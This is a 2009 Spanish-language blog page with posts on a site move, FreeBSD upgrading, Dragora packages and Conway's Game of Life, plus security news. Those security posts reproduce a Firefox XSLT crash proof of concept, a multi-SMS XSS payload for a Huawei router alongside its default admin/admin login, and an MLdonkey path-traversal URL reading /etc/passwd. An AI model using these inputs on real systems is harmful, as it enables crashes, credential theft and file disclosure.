Me mude! http://www.codigounix.com.ar/

A partir de ahora para ingresar a este blog, deberas usar: CodigoUnix deberan utilizar la dirección:

http://www.codigounix.com.ar/

¿Por que tome esta decisión?

Nueva dirección: www.codigounix.com.ar

2009 Junio 28
by Overclock_Orange

Por que me cambie a un hosting de enserio, he cambiado de blog, pueden seguir visitandome ingresando a:

www.codigounix.com.ar

www.codigounix.com.ar

www.codigounix.com.ar

www.codigounix.com.ar

www.codigounix.com.ar

www.codigounix.com.ar

Nos mudamos!

2009 Mayo 14

Este post, es simplemente para comunicarles a todos que me mude de blog, seguramente muchos ingresan utilizando: http://facusdelacruz.wordpress.com/, a partir de ahora para ingresar a CodigoUnix deberan utilizar la dirección:

http://www.codigounix.com.ar/

¿Por que tome esta decisión?
Este sitio estaba hosteado en los servidores gratuitos de WordPress, lo cual no me permitia realizarle muchas cosas a mi sitio, contado de que los servidores andaban lentos, y la página tardaba una eternidad en cargar (tema que me imposibilitaba escribir nuevos post). Gracias a virtualroot y a Bizarredesign he migrado el sitio a un servidor muchisimo mejor, un hosting de verdad, he rediseñado el sitio y agregado nuevas funcionalidades, el contenido viejo (post y otros), también fue migrado, por lo cual van a poder seguir disfrutando del sitio en mejores condiciones que antes.

¿Que tengo que hacer?
Si me tenias en RSS, te pido que agregues esta nueva dirección: http://codigounix.com.ar/?feed=rss2 (sustituyendo la antigua).
Si me tenias en tus Bookmarks, reemplaza http://facusdelacruz.wordpress.com.ar/ por http://www.codigounix.com.ar/.
Si me tenias enlazado en tu sitio web, simplemente has la misma modificación, pues aquí ya no seguire escribiendo ni leyendo comentarios.

Saludos a todos y los espero en:

http://www.codigounix.com.ar/

Mis próximas charlas

2009 Mayo 6
by Overclock_Orange

Me han confirmado la participación en dos eventos, en este mes de mayo, ellos son: BSD Day 2009 en Buenos Aires y Expo 2009 en la ciudad de Mendoza.

expo2009
La Expo 2009, es un evento organizado por LugMEN, abierto a todo público que reúne a entusiastas y seguidores del software libre del país y del extranjero y cuenta con la participación de panelistas y conferencistas de diversos lugares.
Este se realizara los días 24 y 25 de mayo, (sábado y domingo), yo me estare presentando el día 24 con dos charlas:

  • El interprete de comandos de Unix – a las 11:45
  • Seguridad Informática: Estrategia ataque y defensa. – a las 14:45

El evento se celebrara en la Facultad Regional Mendoza, Universidad Tecnológica Nacional FRM-UTN, Rodriguez 273, bajo la coordinación general del LUGMen, Grupo de Usuarios de Software Libre de Mendoza. Pueden ver el cronograma de actividades aquí.

banner5

Por su parte el BSD Day Argentina 2009 es una serie de conferencias y charlas técnicas hechas por y para desarrolladores, administradores, usuarios e interesados en los sistemas operativos basados en el kernel BSD, y proyectos de software libre relacionados.
Este evento se encuentra organizado por OpenBSDeros y BUG-UBA-FCEN-DC. El evento se realizara los días 29 y 30 de mayo. Mi charla en este evento será:

  • Security for FreeBSD and Kernel debugging.

BSDday Argentina 2009 se realizará en la Ciudad de Buenos Aires, Argentina, durante los días 29 y 30 de mayo de 2009 en el Departamento de Computación de la Facultad de Ciencias Exactas y Naturales de la Universidad de Buenos Aires. Pueden consultar las distintas charlas y disertantes aquí.

Updaptear de FreeBSD 7.2-RC2 a FreeBSD 7.2-RELEASE

2009 Mayo 6
by Overclock_Orange

freebsdHace unos días descargue el DVD de FreeBSD 7.2-RC2, lo instale y configure correctamente sin mayores problemas. A los pocos días me entero de que salio la versión definitiba de 7.2 por lo cual no me quedo otra que actualizar, el proceso es realmente muy sencillo de realizar (aunque demora su tiempo), aquí les explico como:

Como primer punto, necesitaremos tener instalada una aplicación que nos permite realizar este proceso, ella es freebsd-update, que la podemos instalar directamente desde nuestra colección de ports, para ello como root:

#: cd /usr/ports/ && make search name=freebsd-update

Esto nos devuelve lo siguiente:
Port: freebsd-update-1.6_2
Path: /usr/ports/security/freebsd-update
Info: Fetches and installs binary updates to FreeBSD
Maint: cperciva@daemonology.net
B-deps:
R-deps:
WWW: http://www.daemonology.net/freebsd-update/

De esta manera buscamos el port de freebsd-update, una vez encontrado procedemos a inslarlo:

#: cd security/freebsd-update && make install clean

Una vez instalado pasaremos a realizar la actualización en si misma, como primer punto deberemos actualizar toda nuestra colección de ports, lo cual es un proceso lento, por lo que recomiendo hacerlo por la noche e irse a dormir, pues cuando despierten estara listo. Necesitamos tener instalado portupgrade, en caso de no tenerlo podemos instalarlo desde el arbol de ports.

#: portupgrade -faP

En este momento podemos ir a dormir unas horas, que cuando despertemos todo estaria listo, esto reinstalara todos los ports que esten instalados en el sistema, lo cual demanda tiempo de compilación, descarga de codigos de fuentes, entre otras.
Cuando esto termine procedemos a hacer indicandole con el parametro -r la versión (superior o posterior) a la que queremos pasar.

#: freebsd-update -r 7.2-RELEASE upgrade
Looking up update.FreeBSD.org mirrors... 1 mirrors found.
Fetching metadata signature for 7.2-RELEASE from update1.FreeBSD.org... done.
Fetching metadata index... done.
Inspecting system... done.

The following components of FreeBSD seem to be installed:
kernel/smp src/base src/bin src/contrib src/crypto src/etc src/games
src/gnu src/include src/krb5 src/lib src/libexec src/release src/rescue
src/sbin src/secure src/share src/sys src/tools src/ubin src/usbin
world/base world/info world/lib32 world/manpages
The following components of FreeBSD do not seem to be installed:
kernel/generic world/catpages world/dict world/doc world/games
world/proflibs

Does this look reasonable (y/n)? y

Este proceso es mucho mas corto, que el anterior, lo cual no tiene por que implicar mayores dificultades, nos dira los componentes del sistema que debe actualizar, lo aceptamos, y esperamos a que se descargen las actualizaciones. Una vez finalizado seguimos con:

#: freebsd-update install

Ahora nos queda reiniciar el sistema:

#: reboot

Al iniciar el sistema si hacemos un uname -r nos debería aparecer lo siguiente:

#: uname -r
7.2-RELEASE

Y hemos concluido la actualización de FreeBSD 7.2-RC2 a 7.0-RELEASE, en mi caso como utilizo el driver de nvidia, tuve algunos problemas con GLX, lo cual lo solucione facilmente descargando el modulo, y recompilando el driver, para volver a cargarlo.

Vulnerabilidad 0 day en Mozilla Firefox 3.x para todos los sistemas operativos

2009 Marzo 26
by Overclock_Orange

Hoy al despertar y revisar el boletín diario que recibo de Hispasec Security, encuentro lo siguiente:

El día 25 de marzo se ha publicado sin previo aviso una prueba de concepto que hace que Firefox deje de responder. No existe parche disponible y se sabe que la vulnerabilidad, en realidad, permite ejecución de código. Se trata por tanto, de un 0 day.
Al parecer la fundación Mozilla ya ha programado la solución pero no hará pública una nueva versión 3.0.8 del navegador hasta principios de la semana que viene.

El pasado miércoles, un tal Guido Landi hacía públicos (sin previo aviso) los detalles de una vulnerabilidad que permite la ejecución de código en el navegador con solo interpretar un archivo XML especialmente manipulado.
En principio la prueba de concepto publicada hace que el navegador deje de responder, pero es posible de forma relativamente sencilla modificar el exploit para que permita la ejecución de código.
El problema afecta a todas las versiones (actual y anteriores) del navegador sobre cualquier sistema operativo.

Los desarrolladores de Mozilla han calificado la vulnerabilidad como crítica y urgente, y afirman que ya lo tienen solucionado (en realidad se trata simplemente de un cambio de orden de una línea de código), pero que no publicarán Firefox 3.0.8 hasta principios de la semana que viene. Si el fallo es también reproducible en Thunderbird, es previsible que haya que esperar incluso más tiempo para que se publique una nueva versión. Se recomienda no visitar páginas sospechosas.
Los usuarios más avanzados pueden descargar el archivo corregido directamente del repositorio y recompilar.

El día anterior había estado haciendo mi revisión diaria en milw0rm y me había encontrado con esta misma vulnerabilidad en Mozilla Firerox.
Si vemos un poco el archivo XML

Un primer archivo HTML: Que llama en un iframe al archivo XML que producira el crash:

<html>
<script>
        // k`sOSe - works both on windows and linux
        // heap spray here :)
</script>
<iframe src="xmlcrash.xml">
</html>

El archivo XML en si mismo el cual introduce cadenas en los id de los tags para producir un desbordamiento y así la corrpución de la memoria y que por ultimo llama al archivo xslt.xls:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="xslt.xsl"?>

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <item1 id="AAAAAAA" />
    <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/>
</root>

Veamos ahora al archivoxslt.xsl:

 ><?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:key name="label" match="item2" use="w00t()"/>
<xsl:template match="root">
<xsl:for-each select="//item1">
<xsl:call-template name="item1" />
</xsl:for-each></xsl:template>
     <xsl:template name="item1">
<xsl:for-each select="key('label','AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')">
     </xsl:for-each>
</xsl:template>
</xsl:stylesheet>

Monte estos archivos en un servidor web (Apache 2 – Sobre Arch GNU/Linux), inclui a estos archivos en el server, accedi y efectivamente crasheo Firefox, un error crítico de seguridad, que seguramente la gente de Mozilla tendrá que solucionar, cabe destacar que he encontrado otras cosas sobre Mozilla Firefox, y esta versión 3.0.6 esta dejando mucho que desear.

XSS Attack using SMS to Optus/Huawei E960 HSDPA Router

2009 Marzo 23
by Overclock_Orange

Como de seguro ustedes saben lo que es el XSS (su correcto nombre es Cross Site Scripting), es una vulnerabilidad producida por la no validación de los datos de entrada en la explotación de vulnerabilidades del sistema de validación de código HTML (y JavaScript) incrustado. Mediante el XSS podemos hacernos con la cookie de algún administrador, molestar insertando bucles de mensajes, entre otros.
Al revisar milw0rm me llamo muchísimo la atención encontrar un XSS attack usando SMS contra un router Optus/Huawei E960 HSDPA.

El router Huawei E960 HSPDA (con firmware version 246.11.04.11.110sp04), es vulnerable a ataques XSS usando SMS (si mensajes de texto). Una de las ‘features’ de este router es la posibilidad de enviar y recibir SMS utilizando una interfase web. Un atacante podría incluir código malicioso enviando un corto SMS, y ganar el control sobre el router.

Los primeros 32 caracteres de cada entrada SMS se presentan en un formulario en la bandeja de entrada de la aplicación. Al no poseer caracteres de escape el límite de 32 caracteres puede superarse mediante el uso de varios SMS y la inserción de código JavaScript comentado, con el fin de fusionar el mensaje actual con el siguiente.

Por ejemplo:
El primer mensaje termina con /*  con esto comenta todo el código HTML siguiente.

<script>alert('hello '/*

El segundo mensaje comienza con */ con esto cierra el comentario.
De esta forma se ejecuta el código siguiente.

*/+'world');</script>

Nótese que el primer mensaje enviado, es el primero en ser recibido.

Un atacante puede:

  • Obtener el password PPP de la víctima accediendo a /js/connections.js.
  • Desconectar a la víctima de su conexión a Internert.
  • Enviar SMS’s con el router de la víctima.
  • Ganar acceso al password WI-FI de la víctima.

Luego de que el ataque fue realizado, la bandeja de entrada de SMS’s, no puede ser usada hasta eliminar los mensajes recividos (por que el botón para elimnarlos no esta visible). Para remover los mensajes recividos, debe realizarse un telnet a el router con el usuario ‘admin’ y el password ‘admin’. Huawei E960 usa BusyBox, entonces puede utilizarse el comando rm para eliminar estos mensajes (localizados en /tmp/sms/inbox_sms). Luego de remover los mensajes, los mensajes estaran en el ‘inbox’ pero pueden ser removidos ahora desde aquí.

Mis contribuciones a Dragora GNU/Linux

2009 Marzo 23
by Overclock_Orange

Hace ya algún tiempo, vengo contribuyendo para Dragora GNU/Linux, una distribución Argentina (que ya alcanzo su versión estable 1.0), creada totalmente desde cero, pero algo similar a Slackware en el fondo. Además de ser una de las distribuciones totalmente libres recomendada por la Free Software Foundation.

Mis aportes especificamente se basan en escribir Buils y mantener paquetes, algo que no me ocupa mucho tiempo y la verdad me encanta.
Hasta el momento he armado bastantes builds (aquí llamados DragBuilds), y son los siguientes: libAfterImage 1.18, Curl 7.19.4, DDclient 3.8.0, NetCat 0.7.1, Nikto 2.03, Htop 0.8.1, Conky 1.6.1, Fluxbox 1.1.1 y Screen 4.0.3.
Estos DragBuilds son subidos a Softland, un proyecto coolaborativo mediante el cual se incorporan distintos builds, para que el usuario pueda encontrarlos y descargarlos facilmente.

Junto con mi amigo Marcelo Alaniz, estamos programando en lenguaje Python un gestor de descargas e instalación para Dragora, este tendra la particularidad de buscar el DragBuild en Softland, descargarlo, extrar del DragBuild el URL de donde se encuentra el codígo fuente, compilarlo mediante las herramientas que provee Dragora e instalarlo, el proyecto va bastante bien hasta el momento y hemos conseguido algunas cosas bastante buenas, auqnue como siempre se presentan miles de problemas.

Mas información sobre Dragora:
[1]: http://www.dragora.org/
[2]: http://www.dragora.org/softland
[3]: http://www.gnu.org/links/links.html#FreeGNULinuxDistributions”
[4]: http://es.wikipedia.org/wiki/Dragora

Otro Blue Pill de Joanna Rutkowska

2009 Marzo 23
by Overclock_Orange

Joanna Rutkowska presentó a mediados de 2006 su Blue Pill, causando un gran revuelo. Rutkowska, experta en rootkits, aprovechó una (por entonces) nueva funcionalidad de los procesadores AMD para crear un rootkit indetectable en cualquier sistema operativo. En esta ocasión su equipo del Invisible Things Lab lo ha vuelto a hacer, esta vez aprovechando una funcionalidad de Intel.

Rutkowska creó en 2006 una prueba de concepto que demostró que todo sistema operativo que usase AMD con tecnología SVM/Pacifca (destinada a optimizar la virtualización a bajo nivel desde el procesador) heredaba un serio problema: cualquier software podía asumir un rol llamado “hypervisor”. Este concepto se refiere a un nivel de control más alto incluso que el de supervisor, que es el nivel al que corre el sistema operativo.

Las arquitecturas de procesadores modernos utilizan el concepto de Ring (anillo) para especificar capas de seguridad desde las que se tienen distintos permisos de acceso a los recursos. El kernel y los drivers de sistema, están en el Ring0, el modo de ejecución de mayor privilegio para poder trabajar a bajo nivel con el hardware. Trabajar a tan bajo nivel implica que se tiene total control sobre la máquina y por tanto, una mayor responsabilidad (un fallo da al traste con el sistema operativo, por ejemplo, los famosos pantallazos azules suelen suceder por una mala instrucción de un controlador). El resto de programas corren en el Ring3 (los otros dos, aunque soportadas por las CPU, no se usan normalmente). El Ring3 un espacio en el que un fallo no resultaría tan crítico, porque no pueden acceder al hardware directamente, deben hacerlo a través de llamadas a sistema. MS-DOS, por ejemplo, carecía de este concepto. Todo corría bajo privilegios de Ring0, de ahí la inestabilidad general del sistema operativo ante cualquier fallo de cualquier programa.

Con la llegada de la virtualización, se define una capa con incluso más privilegios que el Ring0, el hypervisor. Por ejemplo, Vmware debe correr a un nivel hypervisor, mayor incluso que el sistema operativo que aloja, para poder ejecutar código en el entorno del Ring0 sin molestar al resto de sistemas operativos virtuales que puede alojar una máquina. Una especie de “paso atrás” que controla todo lo que tiene delante, el Ring -1 hundido en las raíces del sistema.

Rutkowska y su equipo acaban de publicar el documento técnico “Attacking SMM Memory via Intel CPU Cache Poisoning”. System Management Mode (SMM) se refiere a un modo de operación más privilegiado en las arquitecturas x86. El SMM podría considerarse el Ring -2. SMM se ejecuta en la zona de memoria conocida como SMRAM. Se supone que el controlador de memoria solo debe permitir al firmware (la BIOS) acceder a esa zona de memoria. Una vez que la BIOS carga en esa parte el SMM, sólo el código que esté en ese “anillo” debería poder acceder a él. Lo que han descubierto es cómo acceder a esa zona, bajar dos niveles desde el Ring 0 (a través de un driver en el sistema Windows, o incluso siendo root en Linux) y ejecutar código con los privilegios de SMM. Con todo ese poder, una vez más y como ya demostró con Blue Pill, se puede crear un rootkit indetectable. Literalmente, el sistema operativo e incluso los drivers, todo, podría estar bajo el control de un atacante y hacer creer una total “mentira” al sistema basada en una ejecución de código capaz de controlar al más bajo nivel el sistema.

El mérito no es solo de Rutkowska, Loic Duflot, paralela e independiente, ha descubierto lo mismo. La investigadora también menciona como curiosidad que hace varios años, los propios empleados de Intel ya conocían el problema y que incluso estas debilidades fueron documentadas. De hecho, los detalles del fallo eran accesibles a través de Google. La propia Rutkowska se sorprende de que solo ellos y Loic Duflot hayan creado exploits para aprovechar este problema. Aprovechar el fallo es en la práctica aparentemente sencillo. Se deben modificar los registros MTRR para marcar como “escribible” la región donde está la SMRAM y transferir la ejecución al código SMM. Básicamente se trata de machacar esa memoria y ejecutar ese código. En Linux, en la práctica, el usuario root puede hacerlo modificando /proc/mtrr y en Windows a través de un driver.

Las placas Intel DQ35 son vulnerables, aunque no las DQ45. Intel ampliará su documentación sobre las placas con contramedidas para evitar el ataque.

Este modo de incrustarse en las raíces del sistema, aunque elaborado e ingenioso, es complicado que se lleve a la práctica fuera de un laboratorio.
read more…

MLdonkey 2.9.7 Arbitrary HTTP file access

2009 Marzo 10
by Overclock_Orange

Hablando con DrJuano sobre software para conectar a redes P2P, el me recomendo MLdonkey , al que procedi a instalarlo en mi flamante Debian Lenny 5.0. desde los repositorios oficiales.

Por la noche, mientras daba mi habitual vuelta por milw0rm , me encuentro con la noticia de que el demonio MLdonkey tiene un bug el cual permite el acceso arbitrario al contenido de distintos ficheros de nuestro sistema.
Lo primero que hice fue probarlo, para ver si mi versión de Debian, se encontraba afectada y evidentemente si. Pase un Nikto (un scan de vulnerabilidades para aplicaciones web ), y efectivamente era desastrozo.
Si habrimos nuestro browser y conectamos de la siguiente forma, evidentemente conseguiremos acceso al archivo que nosotros le pasemos como "argumento", en ste caso /etc/passwd:

http://mldokney-ip//etc/passwd
http://127.0.0.1//etc/passwd

Algunas de los problemas listados por Nikto son los siguientes

+ OSVDB-0: GET / .thtml :
Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.

+ OSVDB-0: GET / .shtml :
Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.

+ OSVDB-0: GET / .jsp :
Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.

+ OSVDB-3133: GET ////////../../../../../../etc/passwd :
Xerox WorkCentre allows any file to be retrieved remotely.

+ OSVDB-5106: GET /netutils/ipdata.stm?ipaddr= :
Sambar Server default script is vulnerable to Cross Site Scripting.

+ OSVDB-5107: GET /netutils/findata.stm?host= :
Sambar Server default script is vulnerable to Cross Site Scripting.

+ OSVDB-5107: GET /netutils/findata.stm?user= :
Sambar Server default script is vulnerable to Cross Site Scripting.

Este tipo de fallo de seguridad se potencia, si se permite el acceso remoto a MLdonkey desde Internet, por lo cual cualquier intruso podrá robar información al listar cualquier archivo a los cuales el demonio de MLDonkey tenga acceso. Con lo que podra hacerse con nombres de usuarios, configuraciones por defecto de servicios, software instalado entre otros, comprometiendo gravemente la seguridad del sistema.
Por mi caso, cree un bugreport y lo envie adjuntando también la salida de Nikto.

El juego de la vida

2009 Marzo 7

glider Posiblemente muchos de ustedes conocen el “Hacker Emblem” o glider, pero no estóy seguro de que todos conocén al Juego de la vida, este juego de 0 jugadores por ciclos, en la cual la unica interacción del jugador es armar la configuración inicial y permitir que la simulación haga el trabajo, intenta describir el patrón de movimiento de una colonía (celulas) sobre un plano (mundo), formado por celdas, las cuales en teoría se extienden por el infinito, llevandolo a la estabilidad poblacional, a la extinsión, o a movimientos completamente aleatorios.

El juego de la vida es el mejor ejemplo de un autómata celular, diseñado por el matemático británico John Horton Conway en 1970.
Desde un punto de vista teórico, es interesante porque es equivalente a una máquina universal de Turing, es decir, todo lo que se puede computar algorítmicamente se puede computar en el juego de la vida.

Se considera que la vida es un buen ejemplo de emergencia y autoorganización. Es interesante para los científicos, matemáticos, economistas y otros observar cómo patrones complejos pueden provenir de la implementación de reglas muy sencillas.

Cada célula tiene 8 células vecinas, que son las que están próximas a ella, incluso en las diagonales. Las células tienen dos estados: están “vivas” o “muertas”. El estado de la malla evoluciona a lo largo de unidades de tiempo discretas (turnos). El estado de todas las células se tiene en cuenta para calcular el estado de las mismas al turno siguiente. Todas las células se actualizan simultáneamente.

Las transiciones dependen del número de células vecinas vivas:

  • Si una célula viva tiene 2 ó 3 vecinos, esta sobrevive para el siguiente turno.
  • Si una célula viva tiene menos de 2 vecinos fallece por aislamiento.
  • Si tiene más de 3 vecinos, muere por superpoblacion.
  • Si una celula muerta tiene exactamente 3 vecinos, esta nace
    (es decir, vuelve a la vida).

Como notarán las reglas son simples, pero con estas se pueden describir patrones de el movimiento de una colonía de individuos, su competencia por el espacio (o comida), incidentes entre ellos, nacimientos y muertes.
El juego en sí tiene una gran semejanza con las alteraciones que experimentan las sociedades de seres vivos, tanto a nuestro nivel, como a niver celular.
Lo interesante de este juego es averiguar que configuraciones acabaran de una manera u otra (extinsión, estabilidad, o variación constante).

Aquí les dejo un ejemplo de este interesante juego escrito en lenguaje Python, que encontre navegando por ahí.

# -*- coding: utf-8 -*-
###########################
# Juego De La Vida
# Versión: 0.1
# Autor: Adrigm
# Email: adrigm.admin@gmail.com
# Web: www.adrigm.es
# Licencia: GPL
###########################

# Bibliotecas
import copy, os, time

# Configuración inicial.
configuracion = ['...................**......................',\
		'..................*........................',\
		'.................*.............*...........',\
		'........*........*............**...........',\
		'.......**........*...............**........',\
		'..................*..............***......*',\
		'...................**............**......**',\
		'..............................**...........',\
		'...............................*...........',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'...........................................',\
		'..**.......................................',\
		'...*.......................................',\
		'***........................................',\
		'*..........................................']

# Ancho de filas y columnas.
filas = len(configuracion)
columnas = len(configuracion[0])

# Convierte una cadena en una lista.
def listar(cadena):
	listada = []
	for letra in cadena:
		if letra == "*":
			conv = "1"
		else:
			conv = "0"
		listada.append(int(conv))
	return listada

# Convierte el tablero en una array bidimencional de 1 y 0.	
def configurar(config):
	nueva = []
	for i in range(len(config)):
		nueva.append(listar(config[i]))
	return nueva

# Dibuja el tablero.
def dibujarTablero(conf):
	for c in range(filas):
		 for f in range(columnas):
			 if conf[c][f] == 0:
				print ".",
			 else:
				print "*",
		 print

# Analiza los puntos alrededor de x,y.
def analizarVecinos(x, y):
	vecinos = 0
	if x > 0 and y > 0 and conf[x-1][y-1] == 1:
		vecinos += 1
	if y > 0 and conf[x][y-1] == 1:
		vecinos += 1
	if x < filas-1 and y > 0 and conf[x+1][y-1] == 1:
		vecinos += 1
	if x > 0 and conf[x-1][y] == 1:
		vecinos += 1
	if x < filas-1 and conf[x+1][y] == 1:
		vecinos += 1
	if x > 0 and  y < columnas-1 and conf[x-1][y+1] == 1:
		vecinos += 1
	if y < columnas-1 and conf[x][y+1] == 1:
		vecinos += 1
	if x < filas-1 and y < columnas-1 and conf[x+1][y+1] == 1:
		vecinos += 1
	return vecinos

# Configura el juego.
conf = configurar(configuracion)
nueva = copy.deepcopy(conf)
pulsos = 0

# Bucle del juego.
while True:
	time.sleep(0.2)
	os.system('clear')

	print "Pulso " + str(pulsos) + ":"
	pulsos += 1
	conf = copy.deepcopy(nueva)
	dibujarTablero(conf)

	for x in range(filas):
		for y in range(columnas):
			vecinos = analizarVecinos(x, y)
			if conf[x][y] == 1:
				if vecinos < 2 or vecinos > 3:
					nueva[x][y] = 0
			if conf[x][y] == 0:
				if vecinos == 3:
					nueva[x][y] = 1
	if conf == nueva:
		break

read more…